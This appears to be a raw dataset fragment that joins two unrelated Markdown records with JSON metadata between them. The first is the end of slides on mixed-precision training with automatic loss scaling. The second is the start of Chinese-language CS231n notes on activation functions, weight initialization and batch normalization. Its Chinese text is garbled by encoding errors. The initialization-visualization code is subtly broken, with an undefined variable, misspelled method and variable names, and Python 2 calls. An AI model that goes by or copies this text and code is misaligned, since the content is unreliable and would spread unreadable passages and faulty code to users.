(fp16 weights, activations, and gradients)\n - Update W\n- **For simplicity:**\n - Apply gradient clipping and similar operations on gradients after 1/s scaling\n - Avoids the need to change hyperparameters to account for scaling\n- **For maximum performance: fuse unscaling and update**\n - Reduces memory accesses\n - Avoids storing weight gradients in fp32\n\n\n\n\n\n## [Automatic]( ) Loss Scaling\n\n- **Frees users from choosing a scaling factor**\n - Too small a factor doesn't retain enough small values\n - Too large a factor causes overflows\n- **Algorithm**\n - [Start with a large scaling factor]( ) [*s*]( )\n - for each training iteration\n - Make an fp16 copy of weights\n - Fwd prop\n - [Scale the loss by]( ) [*s*]( )\n - Bwd prop\n - [Update scaling factor]( ) [*s*]( ) (**The automatic part**)\n - [If *dW* contains `Inf/NaN` then reduce *s*, **skip the update**]( )\n - [If no `Inf/NaN` were detected for *N* updates then increase *s*]( )\n - [Scale *dW* by *1/s*]( )\n - Update *W*\n\n![](https://i.loli.net/2018/08/11/5b6e7402149fe.png)\n\n\n\n\n\n## Update Skipping\n\n- **Must skip updating:**\n - Weights\n - Momenta\n- **Additional considerations:**\n - Iteration count:\n - Always increments: may result in fewer updates than iterations \n - Don't increment when skipping:\n - Ensures the same number of updates as without skipping enabled\n - Ensures the same number of updates with a given learning rate\n - Input minibatch: just \"move on\"\n\n\n\n\n\n## Automatic Loss Scaling Parameters\n\n- **Factor for increasing/decreasing loss-scaling**\n - In all our experiments we use [2]( )\n- **Number of iterations without overflow**\n - In all our expreiments we use ***N*** = [2,000]( )\n - Separate study showed that randomly skipping 0.1% of updates didn't affect result\n - ***N*** = [2,000]( ) gives extra margin by skipping at most 0.05% of updates in steady state\n- **Iteration count:**\n - We did not observe model accuracy difference between invrementing and not incrementing iteration count on skips\n\n![](https://i.loli.net/2018/08/11/5b6e76015c6ca.png)\n\n\n\n\n\n## Language Translation\n\n- **GNMT:**\n - https://github.com/tensorflow/nmt\n - German -> English (train on WMT, test on newstest2015)\n - 8 layer encoder, 8 layer decoder, 1024x LSTM cells, attention\n - [FP32 and Mixed Precision: ~29 BLEU using SGD]( )\n - Both equally lower with Adam, match the paper\n- **FairSeq:**\n - https://github.com/facebookresearch/fairseq\n - Convolutional net for translation, English - French\n - [FP32 and Mixed Precision: ~40.5 BLEU]( ) after 12 epochs\n\n\n\n\n\n## Speech\n\n- **Courtesy of Baidu**\n - 2 2D-conv layers, 3 GRU layers, 1D conv\n - Baidu internal datasets\n\n![](https://i.loli.net/2018/08/11/5b6e7761dfd51.png)\n\n\n\n## Progressive Growing of GANs\n\n- **Generates 1024x1024 face images**\n - http://research.nvidia.com/publication/2017-10_Progressive-Growing-of\n- **No preceptible difference between FP32 and mixed-precision training**\n- **Loss-scaling:**\n - Separate scaling factors for generator and discriminator (you are training 2 networks)\n - <u>Automatic loss scaling greatly simplified training</u> โ€” gradient stats shift drastically when image resolution is increased\n\n![](https://i.loli.net/2018/08/11/5b6e783ca32d0.png)\n\n\n\n\n\n## Sentiment Analysis\n\n- **Multiplicative LSTM, based on https://arxiv.org/abs/16704.01444**\n\n![](https://i.loli.net/2018/08/11/5b6e788f57948.png)\n\n\n\n\n\n## Image Inpainting\n\n- **Fill in arbitrary holes**\n- **Network Architecture:**\n - **U-Net with partial convolution**\n - **VGG16 based Perceptual loss + Style loss**\n- **Speedup: 3x, at 2x bigger batch size**\n - We can increase batch size only in mixed precision\n\n![](https://i.loli.net/2018/08/11/5b6e7949b3d6e.png)\n\n![](https://i.loli.net/2018/08/11/5b6e79d741f20.png)\n\n\n\n\n\n## Text to speech synthesis\n\n![](https://i.loli.net/2018/08/11/5b6e7a28c3d68.png)\n\n![](https://i.loli.net/2018/08/11/5b6e7a58cfe0f.png)\n\n\n\n\n\n## Wavenet\n\n- 12 Layers of dilated convolutions\n- Dilations reset every 6 layers\n- 128 channels for dilated convs. (64 per nonlinearity)\n- 64 channels for residual convs.\n- 256 channels for skip convs.\n\n![](https://i.loli.net/2018/08/11/5b6e7b04c8a82.png)\n\n![](https://i.loli.net/2018/08/11/5b6e7b1eb2e67.png)\n\n\n\n\n\n\n\n## Speedups\n\n- **Memory limiited ops: should see [~2x]( ) speedup**\n- **Math limited ops: will vary based on arithmetic intensity**\n- **Some examples, mixed precision vs FP32 on GV100:**\n - Resnet50: [~3.3x]( )\n - DeepSpeech2: [~4.5x]( )\n - FairSeq: [~4.0x]( )\n - Sentiment prediction: [~4.0x]( )\n- **Speedups to increase further:**\n - libraries are continuously optimized\n - TensorCore paths are being added to more operation varieties\n\n\n\n\n\n## TensorCore Performance Guidance\n\n- **Requirements to trigger TensorCore operations**\n - Convolutions:\n - Number of input channels a multiple of 8\n - Number of output channels a multiple of 8\n - Matrix Multiplies:\n - M, N, K sizes should be multiples of 8\n - Larger K sizes make multiplications more efficient (amortize the write overhead)\n - Makes wider recurrent cells more practical (K is input layer width)\n- **If you're designing models**\n - Make sure to choose layer widths that are multiples of 8\n - Pad input/output dictionaries to multiples of 8\n - Speeds up embedding/projection operations\n- **If you're developing new cells**\n - Concatenate cell matrix ops into a single cell\n\n\n\n\n\n\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.645868182182312, "alphanum_fraction": 0.6851316094398499, "avg_line_length": 28.870454788208008, "blob_id": "8bef59eb913c13f253863f5d5765ae9cdfa55c8a", "content_id": "1c0144e11e84af986037b201eb8ef1daf2aaf5f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 18262, "license_type": "no_license", "max_line_length": 394, "num_lines": 440, "path": "/blog/cs231n/cs231n_6.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.6\ndate: 2018-08-26\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=9)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n> ๅฆๆœ‰่ฏฅ Lecture 6. ๆ‰ฉๅฑ•่ฎฒไน‰่ต„ๆ–™๏ผš\n>\n> - [Neural Nets notes 1](http://cs231n.github.io/neural-networks-1/) ([ไธญ่ฏ‘็‰ˆ](./CS231n_Neural_Nets_notes_1.html))\n> - [Neural Nets notes 2](http://cs231n.github.io/neural-networks-2/) ([ไธญ่ฏ‘็‰ˆ](./CS231n_Neural_Nets_notes_2.html))\n> - [Neural Nets notes 3](http://cs231n.github.io/neural-networks-3/) ([ไธญ่ฏ‘็‰ˆ](./CS231n_Neural_Nets_notes_3.html))\n> - tips/tricks: [[1\\]](http://research.microsoft.com/pubs/192769/tricks-2012.pdf), [[2\\]](http://yann.lecun.com/exdb/publis/pdf/lecun-98b.pdf), [[3\\]](http://arxiv.org/pdf/1206.5533v2.pdf) (optional) \n> - [Deep Learning [Nature\\]](http://www.nature.com/nature/journal/v521/n7553/full/nature14539.html) (optional)\n\n\n\n# Lecture 6. Training Neural Networks, part I\n\n\n\n## One time setup\n\n่ฟ™้‡Œๅผ€ๅง‹ไป‹็ปๆญฃๅผ่ฎญ็ปƒ่ฟญไปฃๅ‰๏ผŒไฝ ้œ€่ฆ่€ƒ่™‘็š„ไธœ่ฅฟ๏ผ\n\n\n\n### Activation functions\n\n็ปˆไบŽๅผ€ๅง‹็ป†่ฎฒๆฟ€ๆดปๅ‡ฝๆ•ฐไบ†ใ€‚\n\n- Sigmoid\n\n ![](https://i.loli.net/2018/08/25/5b80f2b446efc.png)\n $$\n \\sigma(x) = 1/(1+e^{-x})\n $$\n\n - **Pro**\n - Squashes numbers to range [0, 1] ๏ผˆๆœ‰็•Œ็š„๏ผ‰\n - Historically popular since they have nice interpretation as a saturating \"firing rate\" of a neuron\n - **Con**\n - Saturated neurons \"kill\" the gradients๏ผˆๆขฏๅบฆๅŽ‹็ผฉไธบ0๏ผ‰\n - Sigmoid outputs are not zero-centered๏ผˆๅฆ‚ๆžœ input ๅ€ผ้ƒฝๅŒๅท๏ผŒไผšๅฝฑๅ“ๅฝ“ๅ‰ neural ไนŸ้ƒฝๅ‘ๅŒๅทๆ–นๅ‘ๆ›ดๆ–ฐๅ‚ๆ•ฐ๏ผŒ่ฟ™ไนŸๅฐฑๆ˜ฏไธบไฝ•่ฆๆœ‰ zero-mean data๏ผ‰\n - exp() is a bit compute expensive\n\n- Tanh(x) [LeCun et al., 1991]\n\n ![](https://i.loli.net/2018/08/25/5b80f4fec469e.png)\n $$\n \\sigma(x) = \\tanh(x)\n $$\n\n - **Pro**\n\n - Squashes numbers to range [-1, 1]\n - zero centered (nise)\n - **Con**\n\n - still kills grdients when saturated :(\n\n - ReLU (Rectified Linear Unit) [Krizhevsky et al., 2012]\n\n ![](https://i.loli.net/2018/08/25/5b80f5eb52232.png)\n $$\n f(x) = \\max(0,x)\n $$\n\n - **Pro**\n - Does not saturate (in +region)\n - Very computationally efficient\n - Converges much faster than sigmoid/tanh in practive (e.g. 6x)\n - Actually more biologically plausible than sigmoid\n - **Con**\n - Not Zero-centered output\n - An annoyance: (for x<0, dead ReLU will never activate => never update)\n\n- Leaky ReLU [Mass et al., 2013\\] [He et al., 2015]\n\n ![](https://i.loli.net/2018/08/25/5b80f9e5841d8.png)\n\n\n$$\n f(x) = \\max(0.01x,x)\n$$\n\n - **Pro**\n - Does not saturate\n - Computationally efficient\n - Converges much faster than sigmoid/tanh in proctice! (e.g. 6x)\n - **will not \"die\".**\n - **Con**\n\n - Not Zero-centered output\n\n - Parametric Rectifier (PReLU)\n $$\n f(x) = \\max(\\alpha x, x)\n $$\n where $\\alpha$ is a parameter that we can backprop into and lean.\n\n- Exponential Linear Units (ELU) [Clevert et al., 2015]\n\n ![](https://i.loli.net/2018/08/25/5b80fb4058c89.png)\n $$\n f(x) = \\left\\{\\begin{matrix}\n \\begin{align}\n &x & \\text{if } x\\geq0 \\\\\n &\\alpha =(\\exp(x)-1) & \\text{if } x\\leq0\n \\end{align}\n \\end{matrix}\\right.\n $$\n\n - **Pro**\n - All benefits of ReLU\n - Closer to zero mean outpus\n - Negative saturation regime compared with Leaky ReLU adds some robustness to noise\n - **Con**\n - Computation requires exp()\n\n- Maxout \"Neuron\" [Goodfellow et al., 2013]\n $$\n f(x) = \\max(\\omega_1^Tx+b_1,\\omega_2^T+b_2)\n $$\n\n - **Pro**\n - Does not have the basic form of dot product -> nonlinearity\n - Generalizes ReLU and Leaky ReLU\n - Linear Regime! Does not saturate! Does not die!\n - **Con**\n - doubles the number of parameters/neuron :(\n\n\n> **TLDR: In practiec: **\n>\n> - Use **ReLU**. Be careful with your learning rates\n> - Try out **Leaky ReLU / Maxout / ELU**\n> - Try out **tanh** but don't expect much\n> - <u>Don't use sigmoid</u>\n\n\n\n### Data Preprocessing\n\n> **TLDR: In practice for images**: center only\n>\n> - Subtract the mean image (e.g. AlexNet) It is used in original ResNet paper, see [reference here](https://github.com/KaimingHe/deep-residual-networks/issues/5).\n> - Subtract per-channel mean (e.g. VGGNet)\n> - Not common to normalize variance, to do PCA or whitening\n\n่ฟ™้‡Œๅ‡ๅŽปๅ›พๅƒ็š„ๅนณๅ‡ๅ€ผๆ“ไฝœ๏ผŒไบŽๆˆ‘่€Œ่จ€๏ผŒ้žๅธธ่ฏกๅผ‚ใ€‚็›ธๅฝ“ไบŽๆ˜ฏๅฏน็ป“ๆž„ๅŒ–ๆ•ฐๆฎ็š„ๆฏไธช็‰นๅพ่ฟ›่กŒๅŽปๅ‡ๅ€ผๆ“ไฝœ๏ผŒๅฏนไบŽๅ›พๅƒๆฅ่ฏดๅฐฑๆ˜ฏๆฏๅผ ๅ›พ็‰‡็›ธๅฏนๅบ”็š„ๅƒ็ด ็‚นไฝ็ฝฎ็š„ๅ€ผใ€‚\n\n่ฟ™็งๆ“ไฝœๅ…ถๅฎž้žๅธธๅฑ€ๅŸŸๅŒ–๏ผŒ่ฏฅๆ“ไฝœๆˆๅŠŸ็š„ๅ‰ๆๆ˜ฏ่ฎญ็ปƒ้›†้‡Œ็š„ๅ›พ็‰‡ๅˆ†ๅธƒๅฎŒๅ…จ็ฌฆๅˆ็œŸๅฎžๆœช็Ÿฅ็š„ๅ›พๅƒๅˆ†ๅธƒ๏ผŒๆ‰€ไปฅ่ฎญ็ปƒ้›†ไธŠ็ฎ—ๅ‡บๆฅ็š„โ€œๅ‡ๅ€ผโ€ๅ›พๅƒๆ‰่ƒฝๅฝ“ๅš้žๅธธไธ€่ˆฌๅŒ–็š„ๅทฅๅ…ทๅฏนๆต‹่ฏ•้›†็ญ‰ๆœช็Ÿฅๅ›พ็‰‡่ฟ›่กŒๅŽปๅ‡ๅ€ผใ€‚\n\nไธ‹ๅ›พๆ˜ฏ [Training Neural Networks, part II](./cs231n_7.html) ไธญ๏ผŒๅฐๅ“ฅๅคš็ป™ไบ†ไธ€ไธชไพ‹ๅญ็š„่ฎฒ่งฃ๏ผš\n\n![](https://i.loli.net/2018/08/27/5b83f3bf1772f.png)\n\n่ฟ™ๅ‘Š่ฏ‰ๆˆ‘ไปฌ๏ผš\n\n๏ผˆๅทฆๅ›พ๏ผ‰ไธญๆŸๅคฑๅ‡ฝๆ•ฐๅฏนๆˆ‘ไปฌ็š„ๆƒ้‡็Ÿฉ้˜ตไธญ็š„็บฟๆ€งๅˆ†็ฑปๅ™จไธญ็š„ๅฐๆ‰ฐๅŠจ้žๅธธๆ•ๆ„Ÿใ€‚่™ฝ็„ถไนŸๅฏไปฅๅพ—ๅˆฐ็›ธๅŒ็š„ๅ‡ฝๆ•ฐ๏ผŒไฝ†่ฟ™ไผš่ฎฉๆทฑๅบฆๅญฆไน ๅ˜ๅพ—ๅผ‚ๅธธ่‰ฐ้šพ๏ผŒๅ› ไธบๆŸๅคฑๅฏนๆˆ‘ไปฌ็š„ๅ‚ๆ•ฐๅ‘้‡้žๅธธๆ•ๆ„Ÿใ€‚๏ผˆๅณๅ›พ๏ผ‰ๅฐ†ๆ•ฐๆฎ็‚น็งปๅŠจๅˆฐๅŽŸ็‚น้™„่ฟ‘๏ผŒๅนถไธ”็ผฉๅฐๅฎƒไปฌ็š„ๅ•ไฝๆ–นๅทฎ๏ผŒๆˆ‘ไปฌไป็„ถๅฏไปฅๅพˆๅฅฝ็š„ๅฏน่ฟ™ไบ›ๆ•ฐๆฎ่ฟ›่กŒๅˆ†็ฑป๏ผŒไฝ†็Žฐๅœจๅฝ“ๆˆ‘ไปฌ็จๅพฎ็š„่ฝฌๅŠจ็›ด็บฟ๏ผŒๆˆ‘ไปฌ็š„ๆŸๅคฑๅ‡ฝๆ•ฐๅฏนๅ‚ๆ•ฐๅ€ผไธญ็š„ๅฐๆ‰ฐๅŠจๅฐฑไธ้‚ฃไนˆๆ•ๆ„Ÿไบ†ใ€‚่ฟ™ๅฏ่ƒฝไผšไผ˜ๅŒ–ๅ˜ๅพ—ๆ›ดๅฎนๆ˜“ไธ€ไบ›็š„ๅŒๆ—ถ่ƒฝๅคŸ่ฟ›ๅฑ•ใ€‚\n\n้กบไพฟๆๅŠ็š„ๆ˜ฏ๏ผŒ่ฟ™็งๆƒ…ๅ†ตไธไป…ไป…ๅœจ็บฟๆ€งๅˆ†็ฑปไธญ้‡ๅˆฐ๏ผŒ่ฎฐไฝ๏ผๅœจ็ฅž็ป็ฝ‘็ปœไธญ๏ผŒๆˆ‘ไปฌ้œ€่ฆไบคๅ‰ๅœฐไฝฟ็”จ็บฟๆ€ง็Ÿฉ้˜ต็›ธไน˜ๆˆ–่€…ๅท็งฏ่ฟ˜ๆœ‰้ž็บฟๆ€งๆฟ€ๆดปๅ‡ฝๆ•ฐใ€‚ๅฆ‚ๆžœ็ฅž็ป็ฝ‘็ปœไธญๆŸไธ€ๅฑ‚็š„่พ“ๅ…ฅๅ‡ๅ€ผไธไธบ0๏ผŒๆˆ–่€…ๆ–นๅทฎไธไธบ1๏ผŒ่ฏฅๅฑ‚็ฝ‘็ปœๆƒๅ€ผ็Ÿฉ้˜ต็š„ๅพฎๅฐๆ‘„ๅŠจๅฐฑไผš้€ ๆˆ่ฏฅๅฑ‚่พ“ๅ‡บ็š„ๅทจๅคงๆ‘„ๅŠจ๏ผŒไปŽ่€Œ้€ ๆˆๅญฆไน ๅ›ฐ้šพใ€‚ๆ‰€ไปฅ่ฟ™ๅฐฑ็›ด่ง‚ๅœฐ่งฃ้‡Šไบ†ไธบไป€ไนˆๅฝ’ไธ€ๅŒ–้‚ฃไนˆ้‡่ฆใ€‚\n\n่ฟ˜่ฆ่ฎฐไฝ๏ผŒๅ› ไธบๆˆ‘ไปฌไบ†่งฃไบ†ๅฝ’ไธ€ๅŒ–็š„้‡่ฆๆ€ง๏ผŒๆ‰€ไปฅๅผ•ๅ…ฅไบ† **batch normalization** ็š„ๆฆ‚ๅฟตใ€‚ไปฅไฝฟๅพ—ไธญ้—ด็š„ๆฟ€ๆดปๅฑ‚ๅ‡ๅ€ผไธบ0๏ผŒๆ–นๅทฎไธบ1ใ€‚๏ผˆๅŽ้ขไผš่ฏฆ็ป†ไป‹็ป๏ผ‰\n\n\n\n\n\n### Weight Initialization\n\n้ฆ–ๅ…ˆไธบไบ†ๆ‰“็ ดๅ‚ๆ•ฐๅฏน็งฐ้—ฎ้ข˜๏ผŒๅ‚ๆ•ฐๅˆๅง‹ๅŒ–ไธ่ƒฝไธบๅ…จ้ƒจไธบ0๏ผˆไนŸไธ่ƒฝไธบๅธธๆ•ฐ๏ผ‰ใ€‚\n\n1. **Small random number** (gaussian with zero mean and 1e-2 standard deviation)\n\n ```python\n W = 0.01 * np.random.randn(D, H)\n ```\n\n <u>Work ~okey for small networks, but problems with deeper networks.</u>\n\n - ๅฏนไบŽๅฑ‚ๆ•ฐๅพˆๅคš็š„็ฅž็ป็ฝ‘็ปœ๏ผŒall activations become zero๏ผๅฏนไบŽๅๅ‘ไผ ๆ’ญๆ—ถ๏ผŒ็›ธๅบ”็š„ๆƒ้‡ๆขฏๅบฆไนŸไผš้žๅธธ้žๅธธๅฐใ€‚\n\n ๆˆ‘็Žฐๅœจ็Ÿฅ้“ไธบๅ•ฅๆˆ‘็š„ CNN ๅฑ‚ๆ•ฐ่ถŠๅคšๅˆฐไธ€ๅฎš็จ‹ๅบฆ๏ผˆ5ๅฑ‚ไปฅไธŠ๏ผ‰๏ผŒ็ฝ‘็ปœ็š„ๆ€ง่ƒฝๅฐฑๅผ€ๅง‹้ฅฑๅ’Œ๏ผŒ็”š่‡ณๅผ€ๅง‹ไธ‹้™ไบ†๏ผŒ่ฟ™ๅพˆๅฏ่ƒฝๅ’Œๅ‚ๆ•ฐๅˆๅง‹ๅŒ–ๆœ‰ไธ€ๅฎš็š„ๅ…ณ็ณปใ€‚\n\n - ๅฆ‚ๆžœๅฐ†้ซ˜ๆ–ฏๅˆ†ๅธƒ็š„ๆ–นๅทฎๅขžๅคงไธ€ไบ›๏ผˆๅฆ‚ 1.0๏ผ‰\n\n ```python\n W = np.random.randn(fan_in, fan_out) * 1.0 # layer initialization\n ```\n\n ไผšๅ‘็Žฐ๏ผš<u>Almost all neurons completely **saturated**, eigher -1 and 1. Gradients will be all zero.</u>\n\n2. **Reasonable initialization** (Mathematical derivation assumes linear activations)\n\n ```python\n W = np.random.randn(fan_in, fan_out) / np.sqrt(fan_in) # layer initialization\n ```\n\n \"Xavier initialization\" [Glorot et al., 2010]\n\n ่ฟ™็งๅˆๅง‹ๅŒ–ๆ–นๅผๅฏนไบŽ Tanh ้ž็บฟๆ€งๆฟ€ๆดป๏ผŒๆ•ˆๆžœไธ้”™๏ผŒๆฏไธ€ๅฑ‚้ƒฝๅทฎไธๅคšๆ˜ฏไธ€ไธชไธ้”™็š„้ซ˜ๆ–ฏๅˆ†ๅธƒใ€‚ไฝ†ๆ˜ฏ๏ผ\n\n But when using ReLU nonlinearity it breaks. ไธ€ๅŠ็š„็ฅž็ปๅ…ƒไผš่ขซ็ ๆŽ‰ใ€‚\n\n ```python\n W = np.random.randn(fan_in, fan_out) / np.sqrt(fan_in/2) # layer initialization\n ```\n\n [He et al., 2015] (note additional `/2`) ่ฟ™็งๅˆๅง‹ๅŒ–ๅฏไปฅๅพˆๅฅฝ็š„่งฃๅ†ณ๏ผŒๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœ็š„ๆฏๅฑ‚ไผšๆœ‰ไธ€ไธชๅ•ไฝ้ซ˜ๆ–ฏๅˆ†ๅธƒใ€‚\n\n\n\n- Slice ไธญ็”จๆฅๅฏ่ง†ๅŒ–ไธๅŒๅ‚ๆ•ฐๅˆๅง‹ๅŒ–็š„ไปฃ็ ไผผไนŽ้žๅธธๆฃ’๏ผ่ดดๅœจ่ฟ™้‡Œ๏ผŒไปฅๅค‡ไธๆ—ถไน‹้œ€๏ผ\n\n ```python\n # assume some unit gaussian 10-D input data\n D = np.random.randn(1000, 500)\n hidden_layer_sizes = [500] * 10\n nonlinearities = ['tanh'] * len(hidden_layer_sizes)\n \n act = {'relu': lambda x:np.maximum(0,x), 'tanh': lambda x:np.tanh(x)}\n Hs = {}\n for i in range(len(hidden_layer_sizes)):\n X = D if i == 0 else Hs[i-1] # input at this layer\n fan_in = X.shape[1]\n fan_out = hidden_layer_sizes[i]\n W = np.random.randn(fan_in, fan_out) * 0.01 # layer initialization\n \n H = np.dot(H, W) # matrix multiply\n H = act[nonlinearities[i]](H) # nonlinearity\n Hs[i] = H # cache result on this layer\n \n # look at distributions at each layer\n print('input layer had mean %f and std %f' % (np.mean(D), np.std(D)))\n layer_means = [np.mean(H) for i, H in Hs.iteritems()]\n later_stds = [np.std(H) for i, H in Hs.interitems()]\n for i, H in Hs.iteritems():\n print('hidden layer %d had mean %f and std %f' %(i+1, layer_means[i], layer_stds[i]))\n \n # plot the means and standard deviations\n plt.figure()\n plt.subplot(121)\n plt.plot(Hs.keys(), layer_means, 'ob-')\n plt.title('layer mean')\n plt.subplot(122)\n plt.plot(Hs.keys(), layer_stds, 'or-')\n plt.title('layer std')\n \n # plot the raw distributions\n plt.figure()\n for i, H in Hs.iteritems():\n plt.subplot(1, len(Hs), i+1)\n plt.hist(H.ravel(), 30, range=(-1,1))\n ```\n\n\n- <u>Proper initialization is an active area of reasearch...</u>\n - **Understanding the difficulty of training deep feedforward neural networks** by Glorot and Bengio, 2010 [[PDF](http://www.jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf?hc_location=ufi)]\n - **Exact solutions to the nonlinear dynamics of learning in deep linear neural networks** by Saxe et al, 2013 [[PDF](https://arxiv.org/pdf/1312.6120)]\n - **Random walk initialization for training very deep feedforward networks** by Sussillo and Abbott, 2014 [[PDF](https://arxiv.org/pdf/1412.6558)]\n - **Delving deep into rectifiers: Surpassing human-level performance on ImageNet classification** by He et al., 2015 [[PDF](https://www.cv-foundation.org/openaccess/content_iccv_2015/papers/He_Delving_Deep_into_ICCV_2015_paper.pdf)]\n - **Data-dependent Initializations of Convolutional Neural Networks** by Kraฬˆhenbuฬˆhl et al., 2015 [[PDF](https://arxiv.org/pdf/1511.06856)]\n - **All you need is a good init**, Mishkin and Matas, 2015 [[PDF](https://arxiv.org/pdf/1511.06422)]\n - ...\n\n\n\n### Batch Normalization\n\n> ๅŠจๆœบ๏ผš่ฎฉๆฟ€ๆดปๅ‡ฝๆ•ฐ้ƒฝๅœจๆˆ‘ไปฌๆƒณ่ฆ็š„้ซ˜ๆ–ฏ่Œƒๅ›ดๅ†…ไฟๆŒๆฟ€ๆดปใ€‚\n\n- Original paper๏ผš[loffe and Szegedy, 2015]\n\nๅ‡่ฎพๆˆ‘ไปฌๅœจๅฝ“ๅ‰็š„ batch ไธญๆœ‰ N ไธช่ฎญ็ปƒๆ ทๆœฌ๏ผŒๅนถไธ”ๅ‡่ฎพๆฏ batch ๆ˜ฏ D ็ปด็š„ใ€‚็„ถๅŽ๏ผŒๆˆ‘ไปฌๅฐ†ๅฏนๆฏไธช็ปดๅบฆ็บตๅ‘็‹ฌ็ซ‹็š„่ฎก็ฎ—**็ป้ชŒๅ‡ๅ€ผ**๏ผˆempirical mean๏ผ‰ๅ’Œ**ๆ–นๅทฎ**๏ผˆvariance๏ผ‰ใ€‚ๆ‰€ไปฅ๏ผŒๅŸบๆœฌไธŠๆฏไธช็‰นๅพๅ…ƒ็ด ๏ผˆๆฏ็‰นๅพๅ›พๅฏนๅบ”ไฝ็ฝฎ็š„ๅ€ผ๏ผ‰๏ผŒ้€š่ฟ‡่ฟ™็งๅฐๆ‰น้‡ๅค„็†้ƒฝ่ฟ›่กŒ่ฎก็ฎ—๏ผŒๅนถไธ”ๅฏนๅ…ถ่ฟ›่กŒๅฝ’ไธ€ๅŒ–๏ผš\n$$\n\\hat{x}^{(k)}=\\frac{x^{(k)}-E[x^{(k)}]}{\\sqrt{\\text{Var}[x^{(k)}]}}\\,.\n$$\n\n- ่ฆๆŠŠ BN ๅฑ‚ๆ”พๅœจๅ“ช้‡Œๅ‘ข๏ผŸ\n\n - ้€šๅธธๆ”พๅœจๅ…จ่ฟžๆŽฅๅฑ‚ไน‹ๅŽ๏ผŒๆˆ–่€…ๅท็งฏ่ฎก็ฎ—ๅฑ‚ไน‹ๅŽ๏ผŒ้ž็บฟๆ€งๆฟ€ๆดปๅฑ‚ไน‹ๅ‰ใ€‚\n\n- ๅ…ถๅฎžๆˆ‘ไปฌๅฏไปฅไธ็”จ้‚ฃไนˆๅคชไธฅๆ ผ็š„้ซ˜ๆ–ฏๅˆ†ๅธƒ๏ผŒๅช่ฆ่ฎฉ็ฅž็ปๅ…ƒๅฌ่ฏ็‚นๅฐฑ่กŒไบ†ใ€‚ๆ‰€ไปฅ๏ผŒๆˆ‘ไปฌ็ป™ BN ๅฑ‚ๅŠ ไธ€ไธชๅฏ่ฐƒ่Š‚ๆ•ˆๆžœ็จ‹ๅบฆ็š„โ€œๅผ€ๅ…ณโ€๏ผŒไฝœไธบ็ฝ‘็ปœๆจกๅž‹ๅฏๅญฆไน ๅ‚ๆ•ฐ็š„ไธ€้ƒจๅˆ†๏ผŒไฝฟๅพ—่ฎฉ็ฝ‘็ปœ่‡ชๅทฑๅญฆไน ๆŽงๅˆถ่ฎฉๆฟ€ๆดปๅ‡ฝๆ•ฐๅ…ทๆœ‰ๆ›ด้ซ˜ๆˆ–ๆ›ดไฝŽ็š„้ฅฑๅ’Œๅบฆ็š„่ƒฝๅŠ›๏ผŒๅ…ทๆœ‰็ตๆดปๆ€งใ€‚ๅบŸ่ฏ่ฏด้‚ฃไนˆๅคš๏ผŒๅฐฑๆ˜ฏๅ†ๅŠ ไธ€ไธชๅผๅญ๏ผŒๅ…่ฎธ็ฝ‘็ปœ่‡ช่กŒๅŽ‹็ผฉ/ๅนณ็งป่พ“ๅ‡บๅ€ผ็š„่Œƒๅ›ด๏ผš\n $$\n y^{(k)}=\\gamma^{(k)}\\hat{x}^{(k)}+\\beta^{(k)}\n $$\n ๅ…ถไธญ๏ผŒๅพ…ๅญฆไน ็š„ๅ‚ๆ•ฐๅˆ†ๅˆซไธบ $\\gamma^{(k)}=\\sqrt{\\text{Var}[x^{(k)}]},\\beta^{(k)}=\\text{E}[x^{(k)}]$ ๆ—ถ๏ผŒๅฏไปฅๅ›žๅˆฐๆœชๅŠ  BN ๅฑ‚็š„ๆ’็ญ‰ๆ˜ ๅฐ„ใ€‚๏ผˆไฝ†ๅœจๅฎž่ทตไธญ๏ผŒ่ฟ™็งๆž็ซฏๆƒ…ๅ†ตๅนถไธไผš็œŸ็š„ๅ‡บ็Žฐ๏ผ›่€Œไธ”๏ผŒๅŠ ไธŠ BN ๅฑ‚ๅŽ๏ผŒ่พ“ๅ‡บๅ€ผๅช่ƒฝ่ฏดๅคง็บฆ็›ธ่ฟ‘ไบŽ้ซ˜ๆ–ฏๅˆ†ๅธƒ๏ผŒๅฎž่ทตไธญๅนถไธๅฟ…ๅฎŒๅ…จ็ฌฆๅˆ๏ผ›่ฟ˜ๆœ‰้œ€่ฆๆๅŠ็š„ๆ˜ฏ๏ผŒๅœจๆต‹่ฏ•็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๅนถไธ้œ€่ฆๆฏๆฌกๅŽป่ฎก็ฎ—่ฟ™ไธชๅ‡ๅ€ผๅ’Œๆ–นๅทฎไบ†๏ผŒๅช้œ€่ฆ่ฎญ็ปƒ้›†ไธญ่ฎฐๅฝ•ๅฅฝ็š„ๅนณๅ‡ๅ็งป้‡๏ผˆrunning averages๏ผ‰ๆฅ่ฎก็ฎ—ๅณๅฏ๏ผ‰\n\n- ๆ€ป็ป“ไธ€ไธ‹๏ผš\n\n ![](https://i.loli.net/2018/08/26/5b82a90b791bf.png)\n\n- ๅฅฝๅค„๏ผš\n\n - Improves gradient flow through the network 